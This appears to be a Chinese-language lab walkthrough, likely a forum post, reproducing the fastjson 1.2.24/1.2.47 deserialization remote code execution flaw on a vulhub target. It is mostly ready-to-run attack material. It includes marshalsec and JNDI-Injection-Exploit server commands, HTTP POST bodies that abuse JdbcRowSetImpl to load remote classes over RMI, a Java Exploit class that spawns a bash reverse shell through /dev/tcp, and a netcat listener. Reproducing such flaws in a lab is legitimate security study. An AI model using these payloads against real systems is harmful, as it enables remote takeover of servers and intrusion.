fastjson 1.2.24/1.2.47 rce复现
kali当靶机攻击机选用ubuntu14失败,
选用ubuntu22成功。
https://www.likecs.com/show-305577683.html
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -i >& /dev/tcp/192.168.100.43/9999 0>&1" -A "192.168.100.43"
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.18.215:8888/#TouchFile" 9999
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.18.215:8888/#Exploit" 9999
第1步:
安装ubuntu系统 22版本
第2步:
下载 marshalsec 项目
git clone https://github.com/mbechler/marshalsec.git
第3步:
mvn clean package -DskipTests
执行上面的命令,需要安装工具叫做maven
sudo apt install maven
执行之后 cd marshalsec 就会发现生成了target文件夹。
第4步:
查看ip ifconfig
sudo apt install net-tools
第5步:
安装Python2
sudo apt install python2
第6步:
搭建建议的web服务器(Python2,python3都可以搭建web服务器)
python2 -m SimpleHTTPServer 4444
第7步:
监听9999端口
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.18.215:4444/#TouchFile" 9999
第8步:
访问kali vulhub靶场
http://192.168.18.183:8089 (fastjson漏洞靶场)
提交数据包:
POST / HTTP/1.1
Host: 192.168.18.183:8089
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.18.215:9999/TouchFile",
"autoCommit":true
}
}
----------------------反弹shell----------------------------
第一步:
修改payload
//javac Exploit.java
public class Exploit{
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/vpsB ip/2333 0>&1");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
第二步:
执行监听:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.18.215:4444/#Exploit" 9999
第三步:
执行监听:
nc -lvp 2333
第四步:
发送命令
POST / HTTP/1.1
Host: 192.168.18.183:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 166
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.18.215:9999/Exploit",
"autoCommit":true
}
}
页:
[1]